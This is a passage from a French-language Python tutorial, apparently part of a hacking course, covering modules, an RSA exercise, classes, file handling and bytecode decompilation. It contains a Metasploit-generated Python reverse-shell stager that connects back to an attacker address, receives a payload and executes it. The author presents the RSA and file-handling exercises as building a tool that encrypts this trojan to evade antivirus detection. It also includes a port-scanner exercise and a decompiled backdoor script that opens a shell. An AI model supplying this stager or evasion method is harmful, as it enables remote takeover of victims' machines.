On peut retrouver facilement les mĂ©thodes dâun objet Ă lâaide de la fonction native dir() :
>>> dir(0)
['__abs__', '__add__', '__and__', ... , 'to_bytes']
Et oui, si vous le vouliez, vous pourriez consulter les méthodes de la fonction dir :
>>> dir(dir)
['__call__', '__class__', '__delattr__', ... ,'__text_signature__']
Afin dâappeler les mĂ©thodes dâun objet, on met le nom de lâobjet, suivi du nom de la mĂ©thode que lâon dĂ©sire :
>>> x = 0
>>> x.real
0
La mĂ©thode real du type int permet dâavoir la partie rĂ©elle de nâimporte quel nombre (mĂ©thode inutile mais bien pratique pour cet exemple).
NOTE : Certains objets, comme les nombres, ne peuvent pas ĂȘtre appelĂ©s lorsquâils ne sont pas dĂ©clarĂ©s sous la forme de variable.
Comme tout objet, les modules possĂšdent donc des mĂ©thodes, sauf quâici, elles sont directement Ă©crites par le dĂ©veloppeur. Certains font trĂšs bien leur boulot et ajoute une documentation, en cas de problĂšme cela peut simplifier la vie des dĂ©veloppeurs en leur permettant de lire le manuel de chaque fonction proposĂ©e par le module.
Ainsi, on peut tout Ă fait visualiser les commandes mises Ă disposition Ă lâintĂ©rieur de random :
>>> import random
>>> help(random)
Toutes ces choses sont trĂšs bien, mais vous sentez bien quâĂ la longue, toujours devoir taper random pour faire utiliser une de ces fonctions devient rĂ©barbatif. Les dĂ©veloppeurs ont donc inventĂ© un nouveau mot-clef, as, qui va instancier un nouveau nom pour le module pour votre programme.
Ainsi, taper ces lignes comme vous en aurez trĂšs vite lâhabitude :
#!/bin/python
import random
print(random.randint(0, 10)) # Nombre aléatoire entre 1 et 10
Aura exactement le mĂȘme effet que de taper :
#!/bin/python
import random as r
print(r.randint(0, 10)) # Nombre aléatoire entre 1 et 10
WARN : Faites attention Ă laisser des noms Ă peu prĂšs clairs Ă vos modules pour faciliter la relecture du code. Ici le nom nâest pas clair du tout
Mais on peut faire encore plus fou pour gagner un peu de temps dans certains cas. Afin dâĂ©viter les conflits de fonctions existantes dans plusieurs modules, les concepteurs de python avaient en mis ce systĂšme de mĂ©thodes, mais ils ont laissĂ© la possibilitĂ© dâimporter directement les attributs du module dans Python lui-mĂȘme.
On utilisera donc un autre moyen pour importer, par exemple, avec les fonctions mathématiques :
>>> from math import *
Cette ligne veut dire : « importe tous les composants du module math et incorpore-les Ă la base de Python ». Ainsi, pour obtenir la valeur de Ï, je nâaurai plus Ă taper cette longue ligne :
>>> math.pi
3.141592653589793
Je pourrai le faire directement en tapant :
>>> pi
3.141592653589793
De mĂȘme, afin de ne pas avoir Ă importer trop de code, on peut sĂ©lectionner directement les composants que lâon souhaite en remplaçant lâastĂ©risque, qui je le rappelle met en Ă©vidence une sĂ©lection de tous les Ă©lĂ©ments, par le nom des mĂ©thodes qui nous intĂ©ressent :
#!/bin/python
from math import cos, sin, tan
import math
print("Cosinus de Ï / 2 = ", cos(math.pi / 2))
NOTE : Lâutilisation des fonctions trigonomĂ©triques se fait en radians et non en degrĂ©s. Les non-initiĂ©s aux mathĂ©matiques seront perdus, mais dites-vous que pour toute transformation dâangle α, il suffit de faire (α*Ï)/180.
à savoir que vous aussi vous pouvez programmer vos propres modules, ou du moins, séparer votre code en plusieurs fichiers distincts. Cela peut permettre de rajouter un peu plus de clarté à vos productions.
Admettons que je possĂšde un fichier nommĂ© fonctions.py dans mon rĂ©pertoire de travail, et que je souhaite accĂ©der Ă toutes mes fonctions incroyables depuis un autre fichier, eh bien câest tout Ă fait possible. Voici le contenu de fonctions.py :
#!/bin/python
import math
def f(x):
'''f(x) = 3x + 3'''
return 3 * x + 3
def g(x):
'''g(x) = 2xÂČ + 3x â 9'''
return 2 * (x**2) + 3 * x â 9
def enRadian(a):
'''Renvoie la valeur en radian de a'''
return (math.pi * a) / 180
NOTE : Utilisez les guillemets triple apostrophes (ââââââ) pour ajouter une doc Ă vos fonctions. Lâutilisation par dâautres dĂ©veloppeurs leur sera plus agrĂ©able.
Je dĂ©cide de crĂ©er un deuxiĂšme script appelĂ© trigo.py. Lâagencement de mes fichiers est le suivant :
.
âââ fonctions.py
âââ trigo.py
Je nâai quâĂ importer le fichier en utilisant son nom, dĂ©pourvu de lâextension py :
#!/bin/python
from fonctions import *
print("La valeur de 180° en radian est ", enRadian(180))
Mais que faire si les fichiers Ă importer sont trop nombreux, le contenu du dossier nâest plus assez lisible pour qui veut exĂ©cuter notre programme :
Il est possible afin de garder une prĂ©sentation et une organisation des fichiers Ă peu prĂšs potable, dâimporter depuis un fichier qui se trouve lui-mĂȘme dans un dossier.
Par exemple :
.
âââ modules
â   âââ fonctions.py
âââ trigo.py
La ligne permettant lâimport depuis mon dossier sera alors la suivante :
#!/bin/python
from modules.fonctions import *
print("La valeur de 180° en radian est ", enRadian(180))
Ce que vous venez de lire reprĂ©sente tout ce quâil y a Ă savoir sur les modules. Les notions nâĂ©taient peut-ĂȘtre pas assez digestes dans la maniĂšre dont elles vous ont Ă©tĂ© montrĂ©es, alors tĂąchons de rĂ©viser ensemble avec des exercices guidĂ©s (mais pas trop quand mĂȘme ;) ).
NOTE : Cet exercice va utiliser des points dâarithmĂ©tiques, je mâefforcerai Ă rester le plus clair possible afin que tout le monde puisse me comprendre. Lâimportant nâest pas le cĂŽtĂ© mathĂ©matique, mais lâutilisation des notions, et si vraiment lâutilisation de ces derniĂšres vous brusque, passez Ă lâexercice qui suit sur le module Turtle.
Ainsi donc, nous revoilà à devoir coder. Je vous avais demandé de garder les fonctions de la fois derniÚres, car nous les réutiliserions, eh bien nous allons le faire tout de suite. Dans un premier temps, renommer le fichier qui contenait vos fonctions en pgcd_func.py. Créez ensuite un nouveau script nommé rsa.py, notre objectif sera de reproduire notre version de ce célÚbre algorithme de chiffrement afin de « cacher » nos trojans.
Tout le reste de lâexercice se fera dans le fichier rsa.py. Importez les fonctions de la partie prĂ©cĂ©dente, ainsi que le module random.
NOTE : Seule la méthode randint(a, b) du module random sera utilisée, vous pouvez donc ne sélectionner que cette derniÚre. Pour rappelle, elle renvoie un nombre aléatoire appartenant à [a, b[ (intervalle a inclus, b exclus).
Dans un premier temps, Ă©crivez la fonction premier(a, b) qui renvoie un nombre premier appartenant Ă lâintervalle a, b inclus ([a, b]).
On se servira de la fonction diviseur(a), et on se rappellera quâun nombre premier nâa que deux diviseurs, 1 et lui-mĂȘme.
Ăcrire ensuite une fonction clef().
Elle utilise trois variables : p, un nombre premier aléatoire compris entre 10 et 100, q,
un autre nombre premier aléatoire compris entre 10 et 100, et n, le produit de p par q.
Toujours au sein de cette mĂȘme fonction clef, on dĂ©clare une variable nommĂ©e phi, Ă©gale au produit de (p â 1) et de (q â 1) (autrement dit pour les matheux, il sâagit de lâindicatrice dâEuler en n, comptant le nombre de nombres premiers avec n sur lâintervalle [1, n]).
On cherche ensuite Ă dĂ©terminer lâexposant de chiffrement e.
Pour ce faire, on le détermine un peu aléatoirement (une boucle testant les possibilités
les plus appropriĂ©es serait indĂ©niablement beaucoup plus pratique) tel que e < phi et PGCD(phi, e) = 1 (â Ï(n) et e sont premiers entre eux).
Puis on dĂ©termine d, lâexposant de dĂ©chiffrement, tel que (e * d) % phi = 1 (â ). Enfin, la fonction renvoie un tuple contenant dans lâordre e, d et n. Câest tout pour la partie complexe, jâespĂšre ne pas trop vous avoir perdu.
On écrit ensuite une fonction rsa_cyp(msg, e=0, n=0) qui chiffre le message de la méthode suivante :
- Faire une liste des valeurs numériques des caractÚres de msg avec la fonction ord(c) (renvoie la valeur ASCII de c).
- Si e = 0, générer les clefs avec la fonction clef() créée précédemment.
- GĂ©nĂ©rer d, lâexposant de dĂ©chiffrement, si nĂ©cessaire.
- Le nombre chiffrĂ© C est Ă©gale au reste de la division euclidienne de la valeur numĂ©rique dâun caractĂšre M puissance e et de n. Autrement ditou pour les matheux.
- On renvoie ensuite un tuple contenant la liste des caractÚres chiffrés, n et d.
On écrit ensuite la fonction inverse, rsa_dec(L, d, n), tel que :
- Pour chaque Ă©lĂ©ment de L, on retrouve le caractĂšre dâorigine M par la relation. Autrement dit pour certaines tĂȘtes .
- On utilise ensuite la fonction chr(n) qui renvoie un caractĂšre Ă partir dâun code ASCII pour retrouver chaque caractĂšre depuis le nombre dĂ©codĂ©.
- On renvoie ensuite une chaĂźne de caractĂšres, rĂ©sultat de lâunion de tous les caractĂšres Ă lâaide de la fonction join :
>>> resultat = "".join(liste)
ArrĂȘtons avec les maths avant que certains ne sâĂ©clatent la tĂȘte contre un mur. Je vous avais dit quâaucune rĂ©ponse ne serait donnĂ©e ; dans ma grande clĂ©mence, je vous offre ces prĂ©cieuses fonctions toutes faites, ou du moins quelques bribes pour vous aider.
from ... import ...
def clef():
   # Cette fonction génÚre les clefs publiques et privées
   # Elle les renvoie sous forme d'un tuple, accompagné de n
   p  = premier(..., ...)
   q  = premier(..., ...)
   n  = ... * q
   phi = (p - ...) * (... - 1)
   # On définit e, exposant de chiffrement
   while True:
       e = random.randint(2, n)
       if pgcd(e, ...) == 1 and e < phi:
           break
   # On définit d, exposant de déchiffrement
   ... i ... range(phi):
       if (i * e) % phi == ...:
           d = i
           break
   ... (e, d, ...)
Remplacez les zones marquĂ©es par ⊠par les vraies valeurs attendues dans le code. Vous aurez Ă rĂ©utiliser certaines notions vues prĂ©cĂ©demment, comme toujours. Les fonctions rsa_cyp et rsa_dec Ă©tant plus simple Ă apprĂ©hender, je vous laisse les Ă©crire vous-mĂȘmes.
Je vous avais promis que nous allions chiffrer un trojan, et je tiens à garder parole auprÚs de vous. Nous allons utiliser un cheval de Troie généré par Metasploit :
import socket, zlib, base64, struct, time
for x in range(10):
try:
s = socket.socket(2, socket.SOCK_STREAM)
s.connect(('192.168.1.1', 4200))
break
except:
time.sleep(5)
l = struct.unpack('>I', s.recv(4))[0]
d = s.recv(l)
while len(d) < l:
d += s.recv(l - len(d))
exec(zlib.decompress(base64.b64decode(d)), {'s':s})
NOTE : Remplacez bien â192.168.1.1â et 4200 par les valeurs attendues Ă la fin dans Metasploit si vous voulez vraiment que le trojan fonctionne.
Ce bout de code, offert gracieusement et surtout gratuitement par Metasploit, tente dâabord dâouvrir une connexion sur la machine du pirate depuis celle de la victime, on parle dâun test de connectivitĂ©, puis rĂ©ceptionne le shellcode envoyĂ© par le service de Metasploit prĂ©vu Ă cet effet.
Ce code est anodin pour un virus (dans certaines mesures), et donc trĂšs facilement reconnaissable pour un logiciel de protection. Câest pourquoi nous allons utiliser notre fonction rsa_cyp pour le chiffrer et ainsi outre-passer les antivirus utilisant la reconnaissance par paternes de codes.
Coller le code du virus dans un fichier (en ayant modifiĂ© lâIP et le port), nous allons le modifier en utilisant les fonctions liĂ©es aux fichiers, mais ça, vous le verrez dans le prochain chapitre. Pour dĂ©compresser, je vous propose dâexprimer votre Ăąme dâartiste en utilisant le module turtle.
NOTE : Turtle est gĂ©nĂ©ralement installĂ© par dĂ©faut sur la plupart des distributions Linux. Si ce nâest pas le cas, un rapide $ pip install turtle suffira.
Les instructions du module sont simples à utiliser :
#!/bin/python
import turtle as t
t.up() # LĂšve le crayon (arrĂȘte d'Ă©crire)
t.down() # Baisse le crayon (recommence à écrire)
t.goto(x, y) # Déplace le curseur en (x; y)
t.fd(n) # Avance de n pixels dans la direction du curseur
t.back(n) # Avance de n pixels dans la direction opposée
t.rt(a) # Effectue une rotation de a degrés
NOTE : Si vous voulez admirer vos chefs-dâĆuvre plus longuement, vous devriez songer Ă utiliser le module time et sa mĂ©thode time.sleep(n) permettant dâattendre n secondes. Cela empĂȘchera la fenĂȘtre de se fermer.
Par exemple, le code pour dessiner un carré de 50 pixels de longueur sera :
#!/bin/python
import turtle as t
for i in range(4):
t.fd(50)
t.rt(90)
Vous ne devriez avoir aucun mal à reproduire les figures suivantes :
Pour le dernier cas, il sâagit dâun fractal appelĂ© Flocon de Koch, pensez donc adapter le tracĂ© en fonction dâun degrĂ© n. Pour ce faire, utilisez les fonctions rĂ©cursives comme nous lâavons appris, câest un exercice dur mais rĂ©alisable, ne vous attardez cependant pas un siĂšcle et demi dessus ; Le plus important dans ce chapitre est lâutilisation des modules Python.
Programmation Orientée Objet
Nous avons dĂ©jĂ abordĂ© la notion dâobjet et de programmation orientĂ©e objet dans le chapitre prĂ©cĂ©dent. Vous savez que nâimporte quel Ă©lĂ©ment, Ă lâexception des mots-clef, sont des objets, et quâen tant que tel, ils possĂšdent des mĂ©thodes que lâon peut appeler.
Vous savez Ă©galement que le meilleur moyen pour avoir accĂšs Ă la liste des mĂ©thodes dâun objet est de taper :
>>> dir(obj)
Et que vous pouvez avoir accÚs aux indications laissées par le développeur avec :
>>> help(obj.methode)
Vous ĂȘtes Ă©galement au courant quâil existe une infinitĂ© dâobjets⊠Quoique, non ! Je ne vous lâavais pas dit, ou plutĂŽt, vous lâavais cachĂ©. En Python, nâimporte qui peut crĂ©er des objets grĂące Ă ce que lâon appelle les classes.
Ces derniĂšres permettent de gĂ©nĂ©rer Ă la chaĂźne des objets se ressemblant, ou du moins, possĂ©dant exactement les mĂȘmes attributs et fonctions. Pour en dĂ©clarer une, on utilise le mot-clef class comme ceci :
class ma_classe:
pass
Cette classe ne fait rien et nâa strictement aucune utilitĂ© dans un programme, mais nous allons la faire Ă©voluer pour vous aider Ă comprendre.
Avec notre classe, nous pouvons instancier un premier objet x :
x = ma_classe()
Ăa ne vous a pas Ă©chappĂ©, mais la maniĂšre dont on dĂ©finit un objet est similaire Ă la maniĂšre dont on appelle une fonction. Cette syntaxe est due Ă la construction mĂȘme dâun objet en Python. En effet, si on jette un rapide coup dâoeil Ă la liste des mĂ©thodes de x avec :
dir(x)
On remarque que plusieurs attributs et fonctions sont prĂ©sents, alors mĂȘme que nous nâen avons dĂ©clarĂ©s aucun.
Un dâentre eux, nommĂ© __init__, est une fonction permettant de dĂ©clarer un objet.
Nous pouvons la redéfinir dans la structure de notre classe :
#!/bin/python
class ma_classe:
def __init__(self):
pass
Dans cet exemple, la structure de x, sâil est redĂ©fini, ne va pas changer ; En revanche, ces lignes sont un terreau trĂšs fertile pour nos futures expĂ©riences.
Le paramĂštre self de la fonction nâest pas vraiment une option, il est appelĂ© Ă chaque fois par la fonction et correspond Ă lâobjet en lui-mĂȘme. Nâimporte quelle fonction au sein de notre classe devra appeler ce paramĂštre, sous ce nom ou un autre, tant quâil est prĂ©sent Ă la premiĂšre place.
Câest donc grĂące Ă cette fonction et Ă son paramĂštre que nous allons pouvoir initialiser de nouveaux attributs (et non fonctions) pour notre objet.
Par exemple :
#!/bin/python
class ma_classe:
def __init__(self):
self.valeur = 0
NOTE : Notez bien que quelle que soit la variable que vous voulez initialiser, si vous voulez quelle soit un attribut de lâobjet, il faut noter son nom aprĂšs self.
De la mĂȘme maniĂšre, on peut dĂ©clarer des attributs Ă lâaide de valeurs qui seront donnĂ©s plus tard dans le code.
Pour ça, il suffit dâajouter des paramĂštres au sein de la fonction __init__,
et dâutiliser les valeurs passer en paramĂštre pour dĂ©finir les attributs de lâobjet, comme ci-dessous :
#!/bin/python
class ma_classe:
def __init__(self, valeur):
self.valeur = valeur
AprÚs avoir redéfini __init__, on peut dÚs maintenant utiliser cette nouvelle classe en définissant une fois de plus x :
x = ma_classe(0)
print(dir(x))
Le résultat sera le suivant :
['__class__', '__delattr__', ..., 'valeur']
On peut voir que le nouvel attribut « valeur » câest greffĂ© Ă notre liste. De plus, on peut avoir accĂšs Ă sa valeur en tapant le nom de notre objet, suivi de celui de son attribut :
print(x.valeur)
Prenons maintenant un exemple concret dâutilisation de la programmation orientĂ©e objet. Imaginons que vous soyez concepteur de jeux-vidĂ©o et que vous dĂ©siriez coder un jeu de combat entre plusieurs joueurs. Lâutilisation des classes serait alors Ă privilĂ©gier, car Ă lâinverse des dictionnaires, les objets peuvent appeler des fonctions qui leur sont propres, ce qui permet de rajouter une certaine clartĂ© Ă votre code.
Par exemple, on pourrait trÚs bien avoir ce genre de classe :
#!/bin/python
class Personnage:
def __init__(s, nom, race, vie):
s.nom = nom
s.race = race
s.vie = vie
zeus = Personnage("Zeus", "Dieu", 1000)
NOTE : Le nom des classes commence par une majuscule, câest une convention dâĂ©criture. Vous pouvez Ă©galement voir quâici, self a Ă©tĂ© renommĂ© en s.
On pourrait également imaginer une fonction permettant de donner le statut de notre personnage,
ce qui serait trĂšs pratique pour les joueurs.
Ăa tombe bien, la fonction __str__ permet de renvoyer la chaĂźne de caractĂšre que lâon souhaite Ă propos de lâobjet.
Pour le moment, elle ne renvoie que le type dâobjet de la variable, changeons donc la un peu :
#!/bin/python
class Personnage:
def __init__(s, nom, race, vie):
...
def __str__(s):
return "Le personnage " + s.nom + " a " + str(s.vie) + " vies"
zeus = Personnage("Zeus", "Dieu", 1000)
print(zeus)
NOTE : La fonction native str() permet de transformer nâimporte quel objet en chaĂźne de caractĂšres.
WARN : Ăvitez dâutiliser directement print() dans
__str__, la mĂ©thode peut ĂȘtre appelĂ©e avec la fonction str() et dans ce cas, elle ne renverrait rien.
Ce qui a pour effet :
Le personnage Zeus a 1000 vies
Vous lâaurez compris Ă lâaide des fonctions __init__ et __str__,
toute fonction étant entourée de deux underscores de chaque cÎté dans son nom est une fonction
native de la classe gĂ©nĂ©rĂ©e automatiquement que lâon peut changer Ă notre guise. Bien Ă©videmment,
vous pouvez créer vos propres fonctions, par exemple, imaginons que Zeus est à affronter de nombreux adversaires,
une fonction dans la classe permettant de perdre de la vie serait bien pratique :
#!/bin/python
class Personnage:
def __init__(s, nom, race, vie):
...
def perdreVie(s, degats):
s.vie -= degats
zeus = Personnage("Zeus", "Dieu", 1000)
zeus.perdreVie(50)
print(zeus)
On verra une diminution dans les points de vie de Zeus :
Le personnage Zeus a 950 vies
De maniĂšre gĂ©nĂ©rale, nâimporte quel paramĂštre prĂ©cĂ©dĂ© de deux underscores sera invisible aux yeux de lâutilisateur lambda. Ainsi, vous pouvez trĂšs bien dĂ©clarer des attributs nâapparaissant pas dans le manuel Ă lâaide
#!/bin/python
import random as r
class Personnage:
def __init__(s, nom, race, vie, force = r.randint(40, 80)):
...
s.__force = force
zeus = Personnage("Zeus", "Dieu", 1000)
Avec ces deux underscores, nous empĂȘchons aux utilisateurs de la classe dâutiliser les attributs de lâobjet en dehors de la classe elle-mĂȘme. Ainsi, la ligne suivante renverra une erreur :
zeus.__force = 100
Câest Ă peu prĂšs tout ce quâil y a Ă savoir sur les objets et les classes. Passons Ă notre, dĂ©sormais sacrĂ©e, sĂ©ance dâexercices.
NOTE : Nâoubliez pas dâajouter une documentation Ă vos classes si jamais elles doivent ĂȘtre utilisĂ©es par dâautres utilisateurs.
Avant de reprendre notre petit bijou de code permettant de chiffrer nos trojans, je vous propose dâutiliser les classes dans le but de crĂ©er un programme de reconnaissance dâIP sur le rĂ©seau. Oui, câest totalement une copie ratĂ©e de nmap que nous nous apprĂȘtons Ă faire et non, ce ne sera pas trĂšs difficile, du moins, ce sera moins une prise de tĂȘte que notre logiciel chiffrant des chevaux de Troie.
Pour ce faire, on donnera la fonction ping à compléter ci-dessous :
#!/bin/python
import subprocess as sp
def ping(adrs):
o = sp.getoutput("ping -c 4 " + adrs)
# A compléter ...
On se servira de cette fonction pour savoir si une machine est joignable et si oui, en combien de temps le paquet y arrive. La valeur est ensuite stockée pour servir à décrire un objet machine ayant une adresse IP, une joignabilité (si on peut le ping, donc attribut à True ou False) et un temps de connexion pour le joindre.
A lâaide dâune interface par terminal, on propose Ă lâutilisateur, aprĂšs lui avoir affichĂ© les machines joignables depuis son rĂ©seau, dâen sĂ©lectionner une pour Ă©tudier les diffĂ©rents ports ouverts. On se basera pour ce faire sur la fonction suivante :
#!/bin/python
import socket
def portOuvert(ip, port):
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
return True if c.connect_ex((ip, port)) == 0 else False
Et voilà , notre petit analyseur de réseau marche comme sur des roulettes !
NOTE : Rajoutez des instructions pour sauvegarder la liste des ports ouverts dans lâobjet Machine, et demander Ă lâutilisateur sâil veut effectuer une nouvelle fois lâanalyse lorsquâil redemandera la liste des ports de la machine.
Reprenons notre cheval de Troie, je sais que vous ĂȘtes impatient de le finir. Dans les chapitres prĂ©cĂ©dents, nous avons programmĂ© de quoi chiffrer ce petit trojan pour le rendre indĂ©tectable aux yeux des antivirus ; notre objectif va ĂȘtre maintenant de chiffrer notre code qui se trouve dans un fichier extĂ©rieur, et de rendre un brin plus comprĂ©hensible le rĂ©sultat obtenu afin quâil soit interprĂ©tĂ© par la machine de la victime.
Ă lâintĂ©rieur mĂȘme du langage Python, il existe un type dâobjet gĂ©rant les fichiers, nous permettant ainsi de les lire, de les crĂ©er ou encore de les modifier ou de les supprimer.
La syntaxe pour ouvrir un fichier sera la suivante :
f = open(chemin, mode)
« chemin » est la route Ă suivre pour arriver jusquâau fichier depuis notre code python (dĂ©pend de lâemplacement du fichier python dans lâarborescence, ou de lâendroit oĂč est ouvert lâinterprĂ©teur), « mode » renvoie Ă lâutilitĂ© que va avoir notre fichier ouvert dans notre code Python (lire, Ă©crire, les deux, etc.). Il existe de nombreux modes dont voici une brĂšve liste :
r : lecture seulew : Ă©criture seule, réécrit sur le texte dĂ©jĂ prĂ©sent. CrĂ©er le fichier sâil nâexiste pasr+ : lecture et Ă©criture, réécrit sur le texte dĂ©jĂ prĂ©senta : Ă©criture seule, ajoute les caractĂšres Ă la fin du fichier.x : crĂ©ation seule, renvoie une erreur si le fichier existe dĂ©jĂrb+ : lecture et Ă©criture, mais en format binaire.
Pour lire notre trojan dans notre programme principal, le code sera donc :
fichier = open("trojan.py", 'r')
contenu = fichier.read()
« contenu » est ici une chaßne de caractÚres avec laquelle on va pouvoir jouer,
et donc la modifier avec notre fonction rsa_cyp().
Le tuple renvoyé sera mis dans un nouveau fichier Python que notre programme va créer,
il sera utilisĂ© conjointement avec la fonction rsa_dec() qui sera collĂ©e ipso facto dans le mĂȘme fichier.
Schématiquement, cela donne ceci :
Voilà  ! Notre chiffreur de chevaux de Troie est fini. Ce fut une rude et longue épreuve pour tous. Il est désormais entiÚrement fonctionnel, libre à vous de le modifier pour y ajouter des fonctions.
NOTE : La partie sur la cryptographie regorge dâalgorithmes pouvant ĂȘtre utilisĂ©s de la mĂȘme maniĂšre que lâest RSA ici.
Compilation, décompilation et bytecode
Dans les deux derniers chapitres de ce module sur Python, nous allons Ă©tudier plus en profondeur le langage pour comprendre son fonctionnement. Cela vous servira Ă effectuer de la rĂ©tro-ingĂ©nierie sur des scripts prĂ©-compilĂ©s et de lâexploitation de code comportant des failles liĂ©es Ă une mauvaise gestion.
Python est un langage dit interprĂ©tĂ©. Cela veut dire que les instructions sont retranscrites en langage machine au fur et Ă mesure quâelles sont lues par Python. Câest donc une mĂ©thode dâaction totalement opposĂ©e Ă celle dâautres langages dits compilĂ©s, qui vont dans un premier temps retranscrire les instructions en langages machines, puis laisser lâordinateur interprĂ©ter le tout lorsque le fichier sera exĂ©cutĂ©.
Cependant, bien que les instructions ne soient pas compilĂ©es (passage du code dâun langage plus humain au langage machine), afin de gagner du temps lors de lâexĂ©cution, Python va retranscrire notre code en bytecode.
Quand vous avez exécuté les codes des exemples, ou que vous avez vérifié que ce que vous aviez marqué pour les exercices fonctionnait,
un dossier nommĂ© __pycache__ est sĂ»rement apparu, avec Ă lâintĂ©rieur un certain nombre de fichier portant lâextension .pyc.
Ătudions-les de plus prĂšs, et, dans un premier temps, gĂ©nĂ©rons un fichier pyc dâun programme simple.
Prenons comme programme la fonction suivante dâun fichier nommĂ© salut.py :
def salut():
print("Salut Ă toi utilisateur !")
salut()
Afin de gĂ©nĂ©rer un fichier pyc Ă partir de ce code, il va falloir le compiler Ă lâaide du module py_compile, le tout dans lâinterprĂ©teur de Python :
>>> import py_compile
>>> py_compile.compile("salut.py")
'__pycache__/salut.cpython-38pyc'
La derniĂšre fonction de py_compile renvoie lâadresse Ă laquelle on peut retrouver notre fichier
compilĂ© (il y a de forte possibilitĂ© quâelle soit totalement diffĂ©rente pour vous).
Essayons de le lire :
cat __pycache__/salut.cpython-38.pyc
o
ïżœïżœb=ïżœ@sddïżœZeïżœdS)cCs
                  tdïżœdS)NuâSalut Ă toi utilisateur !)ïżœprintïżœrrsalut.pyïżœsaluts
                                                                             rN)rrrrr<module>s
Avec un petit flux de redirection vers la commande strings, on peut rendre le résultat plus lisible, mais pas de quoi comprendre entiÚrement le code :
cat __pycache__/salut.cpython-38.pyc | strings
Salut
toi utilisateur !)
print
salut.py
salut
<module>
Afin de rĂ©cupĂ©rer le code source original dans lâoptique de faire de la rĂ©tro-ingĂ©nierie, on peut utiliser le module Uncompyle6. Malheureusement ce dernier nâest pour lâinstant pas disponible pour les versions les plus rĂ©centes de Python, il faudra donc lâinstaller sur une version plus ancienne du langage (ici 3.8) :
add-apt-repository ppa:deadsnakes/ppa -y
apt update
apt install python3.8
WARN : Python est un langage qui évolue trÚs vite, ne recopiez pas ces lignes sans réfléchir en pensant pouvoir avancer, adaptez-les de telle sorte à avoir la version de Python collant le plus à vos besoins (supportée par Uncompyle6)
On récupÚre pip pour installer Uncompyle6 plus simplement :
curl -sSL https://bootstrap.pypa.io/get-pip.py | python3.8
WARN : Ăvitez dâexĂ©cuter des fichiers tĂ©lĂ©chargĂ©s avec curl sans les avoir consultĂ©s avant. e vous demande de me faire confiance pour celui-ci, mais prĂȘtez bien attention Ă lâavenir avec ce genre de mĂ©thodes pas trĂšs sĂ©curisĂ©es.
On peut ensuite installer Uncompyle6Â :
python3.8 -m pip install Uncompyle6
NOTE : appeler Python avec le paramĂštre -m permet dâutiliser un module.
Pour dĂ©compiler le code, il suffira alors dâexĂ©cuter la commande comme suit :
uncompyle6 __pycache__/salut.cpython-38.pyc
...
def salut():
   print('Salut à toi utilisateur !')
salut()
...
Nous venons ainsi de dĂ©compiler un code entier, ce qui nous a permis de retrouver sa version originale. Si lâutilitĂ© de la rĂ©tro-ingĂ©nierie en Python peut vous paraĂźtre dĂ©risoire avec cet exemple, imaginez la situation suivante :
Vous avez dĂ©couvert une machine avec un service ssh disponible sur le port 22. Ni une ni deux, vous Ă©numĂ©rez les diffĂ©rents utilisateurs prĂ©sents sur la machine pouvant se connecter au serveur. Il se trouve quâun utilisateur nommĂ© bob peut se connecter au systĂšme. Ce qui est Ă©trange avec cet utilisateur, câest que lorsquâil se connecte, plutĂŽt que dâutiliser les services proposĂ©s par Linux, il prĂ©fĂšre se servir dâun petit script Ă©crit dans vous ne savez quel langage.
AprÚs un peu plus de réflexion, vous vous rendez compte que sur le serveur web de bob se trouve un fichier nommé connexion.min.pyc.
Vous décidez de le télécharger et vous retrouvez en face de ce jeu de données :
Avec Uncompyle6, vous arrivez aisĂ©ment Ă retrouver le code dâorigine :
import os
print("...")
mdp = input('\n\nMot de passe de Bob : ')
try:
   mdp = int(mdp)
except ValueError:
   print("On voulait rentrer quelque chose d'autre ;)")
   mdp = 0
if mdp + 10 == 23:
os.system('sh')
else:
print('Mot de passe incorrect !')
Le mot de passe est donc beaucoup plus clair, il suffit alors de rentrer 13 et le programme vous ouvre un shell. La rĂ©tro-ingĂ©nierie peut sâavĂ©rer trĂšs pratique pour ce genre de cas, mais ce nâest rien Ă cĂŽtĂ© des failles de sĂ©curitĂ©s prĂ©sentes dans certaines versions de Python.
De mĂȘme, vous pourrez voir certaines fois des bytecodes prĂ©sents sous cette forme un peu spĂ©ciale :
2 Â Â Â Â Â Â Â Â Â Â 0 LOAD_CONST Â Â Â Â Â Â Â Â Â Â Â Â Â Â 1 (3)
             2 LOAD_FAST                0 (x)
             4 BINARY_MULTIPLY
             6 LOAD_CONST               2 (2)
             8 BINARY_ADD
            10 RETURN_VALUE
Cette syntaxe particuliĂšre est beaucoup plus lisible que ce que vous trouverez dans les pyc, mais nâĂ©tant pas compilĂ©, vous ne pourrez donc pas utiliser Uncompyle6. A sây mĂ©prendre, on pourrait la confondre avec de lâassembleur, ce petit langage faisant la jonction entre un langage comprĂ©hensible par lâHomme comme le C, et le langage binaire.
Malheureusement, il nâexiste pas dâoutils pour transformer efficacement ce genre de bytecode en code python utilisable et comprĂ©hensible. Ă la rigueur, vous pouvez transformer le fichier en pyc avec un programme comme python-xasm disponible sur Github, mais si ça ne marche pas, il faudra trouver dâautres solutions.
Il faudra donc convertir Ă la main ces bouts de codes, mais nâayez crainte, ils suivent une certaine logique. Le nombre le plus Ă gauche renvoie au numĂ©ro de la ligne en Python, le fait que, dans lâexemple donnĂ©, ce nombre soit 2 signifie quâil manque une ligne juste avant. Il y a donc de fortes probabilitĂ©s que nous soyons dans une fonction au nom inconnu, appelons la f().
LOAD_CONST permet de charger une valeur, peu importe son type,
LOAD_FAST permet de charger une variable et BINARY_[instruction] permet dâeffectuer une opĂ©ration mathĂ©matique
(ex : BINARY_MULTIPLY = multiplication). Les trois premiÚres lignes veulent donc dire 3 * x.
Si on déchiffre la suite on obtient un +2 et un renvoie de valeur, nous sommes donc bien dans une fonction,
ce qui veut dire que la premiÚre ligne est la déclaration de cette fonction, et de facto, x est un paramÚtre de cette fonction :
>>> def f(x): Â Â Â Â Â Â Â Â Â Â Â Â Â Â
... return 3 * x + 2
On peut trĂšs facilement retrouver lâassembleur dâun fichier avec le module dis :
>>> from dis import dis
>>> dis(f)
 2           0 LOAD_CONST               1 (3)
...
Différences entre version de Python et exploitation de fichiers
Maintenant que vous savez que le code Python peut ĂȘtre compilĂ© pour gagner du temps dans lâinterprĂ©tation des instructions, et que nous pouvons rĂ©cupĂ©rer le code original dâun script compilĂ© Ă lâaide dâun processus appelĂ© la rĂ©tro-ingĂ©nierie, eh bien lâon peut dire que vous ĂȘtes bien renseignĂ© sur ce langage.
